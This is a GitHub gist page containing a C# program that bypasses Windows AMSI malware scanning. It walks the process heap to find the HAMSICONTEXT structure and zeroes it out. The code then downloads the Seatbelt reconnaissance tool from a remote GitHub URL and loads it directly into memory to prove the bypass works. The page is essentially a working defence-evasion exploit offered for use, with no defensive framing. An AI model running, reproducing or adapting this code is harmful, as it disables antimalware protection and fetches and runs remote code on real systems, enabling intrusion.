Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Forked from wavvs/Program.cs
Created March 4, 2025 20:22
Show Gist options
  • Save mgeeky/238fcd91f106eb9665af89b4ce0f00c6 to your computer and use it in GitHub Desktop.
Save mgeeky/238fcd91f106eb9665af89b4ce0f00c6 to your computer and use it in GitHub Desktop.
AMSI bypass via HAMSICONTEXT corruption (Windows 11 supported)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Diagnostics;
using System.Threading;
using System.IO;
using System.Net;
namespace AmsiBypassHeap
{
internal class Program
{
[Flags]
public enum PROCESS_HEAP_ENTRY_WFLAGS : ushort
{
PROCESS_HEAP_ENTRY_BUSY = 0x0004,
PROCESS_HEAP_ENTRY_DDESHARE = 0x0020,
PROCESS_HEAP_ENTRY_MOVEABLE = 0x0010,
PROCESS_HEAP_REGION = 0x0001,
PROCESS_HEAP_UNCOMMITTED_RANGE = 0x0002,
}
[StructLayoutAttribute(LayoutKind.Explicit)]
public struct UNION_BLOCK
{
[FieldOffset(0)]
public STRUCT_BLOCK Block;
[FieldOffset(0)]
public STRUCT_REGION Region;
}
[StructLayoutAttribute(LayoutKind.Sequential)]
public struct STRUCT_BLOCK
{
public IntPtr hMem;
public uint dwReserved1_1;
public uint dwReserved1_2;
public uint dwReserved1_3;
}
[StructLayoutAttribute(LayoutKind.Sequential)]
public struct STRUCT_REGION
{
public uint dwCommittedSize;
public uint dwUnCommittedSize;
public IntPtr lpFirstBlock;
public IntPtr lpLastBlock;
}
[StructLayoutAttribute(LayoutKind.Sequential)]
public struct PROCESS_HEAP_ENTRY
{
public IntPtr lpData;
public uint cbData;
public byte cbOverhead;
public byte iRegionIndex;
public PROCESS_HEAP_ENTRY_WFLAGS wFlags;
public UNION_BLOCK UnionBlock;
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetProcessHeap();
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool HeapWalk(IntPtr hHeap, ref PROCESS_HEAP_ENTRY lpEntry);
static void Main(string[] args)
{
// Initialize AMSI
Assembly.Load(File.ReadAllBytes(@"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.dll"));
IntPtr heap = GetProcessHeap();
PROCESS_HEAP_ENTRY h = new PROCESS_HEAP_ENTRY();
IntPtr appNameAddr = IntPtr.Zero;
IntPtr hContextAddr = IntPtr.Zero;
string appName = "DotNet";
while (HeapWalk(heap, ref h))
{
if ((h.wFlags & PROCESS_HEAP_ENTRY_WFLAGS.PROCESS_HEAP_ENTRY_BUSY) != 0 && h.cbData >= appName.Length * 2)
{
if (Marshal.PtrToStringUni(h.lpData) == appName)
{
appNameAddr = h.lpData;
Console.WriteLine("[*] Found appName: 0x{0}", appNameAddr.ToString("X"));
break;
}
}
}
if (appNameAddr == IntPtr.Zero)
{
Console.WriteLine("[*] Could not locate appName");
return;
}
h.lpData = IntPtr.Zero;
while (HeapWalk(heap, ref h))
{
if ((h.wFlags & PROCESS_HEAP_ENTRY_WFLAGS.PROCESS_HEAP_ENTRY_BUSY) != 0 && h.cbData >= IntPtr.Size * 2)
{
var addr = Marshal.ReadIntPtr(h.lpData, IntPtr.Size);
if (addr == appNameAddr)
{
hContextAddr = h.lpData;
Console.WriteLine("[*] Found HAMSICONTEXT address: 0x{0}", hContextAddr.ToString("X"));
break;
}
}
}
if (hContextAddr == IntPtr.Zero)
{
Console.WriteLine("[*] Could not find HAMSICONTEXT");
return;
}
Console.WriteLine("[*] Corrupting HAMSICONTEXT (Win 11 is supported)");
var zero = new byte[IntPtr.Size * 3];
Marshal.Copy(zero, 0, hContextAddr, IntPtr.Size * 3);
Console.WriteLine("[*] Checking bypass, loading Seatbelt");
var c = new WebClient();
Assembly.Load(c.DownloadData(@"https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.5_Any/Seatbelt.exe"));
Console.WriteLine("[*] AMSI has been successfully bypassed!");
Console.ReadLine();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment